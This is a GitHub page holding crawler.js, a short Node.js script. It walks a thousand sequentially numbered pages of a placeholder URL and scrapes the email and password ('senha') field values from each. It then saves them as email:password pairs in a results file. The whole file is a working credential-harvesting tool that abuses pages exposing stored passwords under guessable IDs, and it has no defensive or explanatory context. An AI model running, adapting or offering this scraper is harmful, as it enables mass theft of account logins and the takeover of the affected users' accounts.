-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcrawler.js
80 lines (63 loc) · 1.48 KB
/
crawler.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
'use strict';
/**
* Dependencies
*/
const cheerio = require('cheerio');
const HTTP = require('http');
const FS = require('fs');
/**
* Constants
*/
const URL = 'URL_HERE';
const INITIAL_INDEX = 1;
const AMOUNT_OF_PAGES = 1000;
const OUTPUT_PATH = './results.txt';
(function main() {
// Make the request
function request(index) {
console.log(`Starting ${index} (${index - INITIAL_INDEX}/${AMOUNT_OF_PAGES})`);
HTTP.get(URL + index, res => {
let output = '';
res.on('data', chunk => {
output += chunk;
});
res.on('end', () => {
console.log(`Finished ${index} (${index - INITIAL_INDEX}/${AMOUNT_OF_PAGES})`);
process(index, output);
});
});
}
// Process the request's response
function process(index, data) {
const $ = cheerio.load(data.toString());
try {
const email = $('#email')[0].attribs.value;
const passw = $('#senha')[0].attribs.value;
if (email && passw) {
resultsMap[index] = {
email: email,
passw: passw,
};
}
} catch (e) { }
if (index < (INITIAL_INDEX + AMOUNT_OF_PAGES)) {
request(index + 1);
} else {
finalize();
}
}
// Finalize before ending execution
function finalize() {
//console.log(JSON.stringify(resultsMap));
let output = '';
for (let key in resultsMap) {
const item = resultsMap[key];
output += `${item.email}:${item.passw}\n`;
}
FS.writeFile(OUTPUT_PATH, output, () => {
console.log("FINISHED!");
});
}
let resultsMap = {};
request(INITIAL_INDEX);
})();